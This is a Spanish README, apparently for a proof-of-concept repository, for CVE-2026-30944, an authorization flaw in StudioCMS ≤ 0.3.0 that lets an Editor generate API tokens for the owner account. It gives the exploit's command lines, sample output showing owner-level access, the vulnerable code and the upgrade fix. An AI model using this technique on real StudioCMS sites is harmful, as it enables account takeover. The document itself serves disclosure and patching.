
Prueba de concepto en Python para CVE-2026-30944, que explota una vulnerabilidad BOLA en StudioCMS para escalar privilegios mediante la generación insegura de tokens de API.
Escalada de Privilegios en StudioCMS mediante Generación Insegura de Tokens API
El endpoint POST /studiocms_api/dashboard/api-tokens en StudioCMS ≤ 0.3.0 permite que cualquier usuario autenticado (como mínimo con rol Editor) genere tokens API para cualquier otro usuario, incluyendo cuentas owner y admin.
El endpoint acepta un parámetro user en el cuerpo de la solicitud que especifica el UUID del usuario objetivo, pero nunca valida si el usuario solicitante está autorizado para crear tokens en nombre de ese objetivo. Esta es una vulnerabilidad clásica de Broken Object Level Authorization (BOLA) que resulta en una escalada de privilegios total.
┌──────────────┐ POST /api-tokens ┌──────────────┐
│ │ {"user":"<owner-id>"} │ │
│ Atacante │ ─────────────────────────► │ StudioCMS │
│ (Editor) │ │ Servidor │
│ │ ◄───────────────────────── │ │
└──────────────┘ {"token":"eyJhb..."} └──────────────┘
│ │
│ GET /rest/v1/users │
│ Authorization: Bearer <owner-token> │
│ ─────────────────────────────────────────►│
│ │
│ ◄─────────────────────────────────────────│
│ [Datos completos del usuario como Owner] │
│ │
| Archivo | Descripción |
|---|---|
cve_2026_30944_poc.py | Script de explotación en Python con modos manual y automatizado |
README.md | Este archivo |
LICENSE | Licencia MIT |
Editorpip install requests colorama
# Generar un token API para el owner usando una cuenta de editor
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Guardar resultados en JSON
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--save
# Probar con múltiples roles para confirmar la vulnerabilidad
python3 cve_2026_30944_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
| Argumento | Descripción |
|---|---|
-u, --url | URL base de StudioCMS objetivo |
--uuid | UUID del usuario objetivo (p. ej., cuenta owner) |
| Argumento | Descripción |
|---|---|
--username | Nombre de usuario para autenticación |
--password | Contraseña para autenticación |
| Argumento | Descripción |
|---|---|
--save | Guardar resultados en archivo JSON |
--no-ssl-verify | Deshabilitar verificación de certificados SSL |
──────────────────────────────────────────────────────────
FASE 1: Autenticación
──────────────────────────────────────────────────────────
[+] Autenticado como 'editor01'
[*] Usuario de sesión: editor01 (editor)
[*] UUID de sesión: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
FASE 2: Escalada de Privilegios
──────────────────────────────────────────────────────────
[*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generando token API para el usuario objetivo...
[+] ¡Token API generado exitosamente!
[!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...
──────────────────────────────────────────────────────────
FASE 3: Verificación
──────────────────────────────────────────────────────────
[*] Verificando acceso del token en la API REST...
[+] VULNERABILIDAD CONFIRMADA — ¡Acceso completo a la API logrado!
[*] Se obtuvieron 9 registros de usuarios
──────────────────────────────────────────────────────────
FASE 2: Escalada de Privilegios
──────────────────────────────────────────────────────────
[*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Generando token API para el usuario objetivo...
[*] Acceso denegado (403 Forbidden) — el endpoint puede estar parcheado
[-] Explotación fallida — el token no fue generado
El controlador vulnerable en packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (líneas 16–57) acepta un parámetro user del cuerpo JSON y lo pasa directamente a la función de generación de tokens sin comprobaciones de autorización:
// [1] Solo comprueba si el llamante es editor — no PARA QUIÉN está creando el token
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] 'user' del cuerpo de la solicitud — sin validación contra la sesión autenticada
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);
// [3] Se pasa directamente a la generación de tokens — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);
El modelo de autorización solo verifica "¿el llamante es al menos un editor?" en lugar de "¿el llamante está autorizado para crear un token para este usuario específico?"
Actualice StudioCMS a la versión 0.4.0 o posterior:
npm install studiocms@latest
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
Filipe Gaudard
Este PoC se publica bajo la Licencia MIT con fines educativos. Úselo de manera responsable y ética.
| Campo | Valor |
|---|
| CVE | CVE-2026-30944 |
| GHSA | GHSA-667w-mmh7-mrr4 |
| CVSS v3.1 | 8.8 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-639: Omisión de Autorización mediante Clave Controlada por el Usuario |
| CWE (secundario) | CWE-863: Autorización Incorrecta |
| MITRE ATT&CK | T1134 — Manipulación de Tokens de Acceso |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Afectado | studiocms ≤ 0.3.0 |
| Corregido en | studiocms 0.4.0 |
| Argumento | Descripción |
|---|
--auto-test | Habilitar pruebas automatizadas con múltiples roles |
--editor-user | Nombre de usuario de la cuenta editor |
--editor-pass | Contraseña de la cuenta editor |
--visitor-user | Nombre de usuario de la cuenta visitante |
--visitor-pass | Contraseña de la cuenta visitante |